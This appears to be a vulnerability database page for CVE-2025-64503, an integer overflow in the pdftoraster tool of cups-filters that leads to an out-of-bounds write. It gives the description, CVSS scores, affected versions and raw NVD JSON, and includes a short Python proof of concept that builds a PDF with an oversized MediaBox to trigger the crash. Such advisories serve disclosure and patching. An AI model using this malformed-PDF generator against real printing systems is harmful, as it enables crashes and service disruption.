Security Vulnerability Report
中文
CVE-2025-64503 CVSS 4.0 MEDIUM

CVE-2025-64503

Published: 2025-11-12 22:15:50
Last Modified: 2026-01-20 18:12:41

Description

cups-filters contains backends, filters, and other software required to get the cups printing service working on operating systems other than macos. In cups-filters prior to 1.28.18, by crafting a PDF file with a large `MediaBox` value, an attacker can cause CUPS-Filter 1.x’s `pdftoraster` tool to write beyond the bounds of an array. First, a PDF with a large `MediaBox` width value causes `header.cupsWidth` to become large. Next, the calculation of `bytesPerLine = (header.cupsBitsPerPixel * header.cupsWidth + 7) / 8` overflows, resulting in a small value. Then, `lineBuf` is allocated with the small `bytesPerLine` size. Finally, `convertLineChunked` calls `writePixel8`, which attempts to write to `lineBuf` outside of its buffer size (out of bounds write). In libcupsfilters, the maintainers found the same `bytesPerLine` multiplication without overflow check, but the provided test case does not cause an overflow there, because the values are different. Commit 50d94ca0f2fa6177613c97c59791bde568631865 contains a patch, which is incorporated into cups-filters version 1.28.18.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:openprinting:cups-filters:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openprinting:libcupsfilters:*:*:*:*:*:*:*:* - VULNERABLE
cups-filters < 1.28.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64503 PoC - cups-filters pdftoraster Buffer Overflow This PoC generates a malicious PDF with oversized MediaBox to trigger integer overflow """ from reportlab.pdfgen import canvas from reportlab.lib.pagesizes import letter import sys def create_malicious_pdf(output_path): """ Create a PDF with extremely large MediaBox values to trigger overflow in pdftoraster's bytesPerLine calculation """ # Large MediaBox value to cause integer overflow # With cupsBitsPerPixel=8, this causes (8 * large_value + 7) / 8 to overflow large_width = 0x20000001 # Value chosen to overflow 32-bit integer large_height = 1000 c = canvas.Canvas(output_path, pagesize=(large_width, large_height)) c.setFont("Helvetica", 12) c.drawString(100, 700, "CVE-2025-64503 Test PDF") c.drawString(100, 680, "Large MediaBox triggers buffer overflow in pdftoraster") c.save() print(f"[+] Malicious PDF created: {output_path}") print(f"[+] MediaBox: ({large_width}, {large_height})") print(f"[+] This should trigger overflow in bytesPerLine calculation") if __name__ == "__main__": output_file = "cve_2025_64503_poc.pdf" if len(sys.argv) > 1: output_file = sys.argv[1] create_malicious_pdf(output_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64503", "sourceIdentifier": "[email protected]", "published": "2025-11-12T22:15:50.293", "lastModified": "2026-01-20T18:12:40.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "cups-filters contains backends, filters, and other software required to get the cups printing service working on operating systems other than macos. In cups-filters prior to 1.28.18, by crafting a PDF file with a large `MediaBox` value, an attacker can cause CUPS-Filter 1.x’s `pdftoraster` tool to write beyond the bounds of an array. First, a PDF with a large `MediaBox` width value causes `header.cupsWidth` to become large. Next, the calculation of `bytesPerLine = (header.cupsBitsPerPixel * header.cupsWidth + 7) / 8` overflows, resulting in a small value. Then, `lineBuf` is allocated with the small `bytesPerLine` size. Finally, `convertLineChunked` calls `writePixel8`, which attempts to write to `lineBuf` outside of its buffer size (out of bounds write). In libcupsfilters, the maintainers found the same `bytesPerLine` multiplication without overflow check, but the provided test case does not cause an overflow there, because the values are different. Commit 50d94ca0f2fa6177613c97c59791bde568631865 contains a patch, which is incorporated into cups-filters version 1.28.18."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openprinting:cups-filters:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.28.18", "matchCriteriaId": "1E8D664D-AE1E-4B08-8CB0-91A43C19EE27"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openprinting:libcupsfilters:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.1.2", "matchCriteriaId": "D664D9C3-6C68-41D2-ADC0-A47B8003B47D"}]}]}], "references": [{"url": "https://github.com/OpenPrinting/cups-filters/blob/aea8d0db017e495b0204433ebdb0e86b4871094c/filter/pdftoraster.cxx#L1620", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/OpenPrinting/cups-filters/blob/aea8d0db017e495b0204433ebdb0e86b4871094c/filter/pdftoraster.cxx#L1880", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/OpenPrinting/cups-filters/commit/50d94ca0f2fa6177613c97c59791bde568631865", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-893j-2wr2-wrh9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/OpenPrinting/libcupsfilters/blob/1dd86d835b27ed149b66aee1a4853d1db8a1f44c/cupsfilters/pdftoraster.cxx#L1790", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/12/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}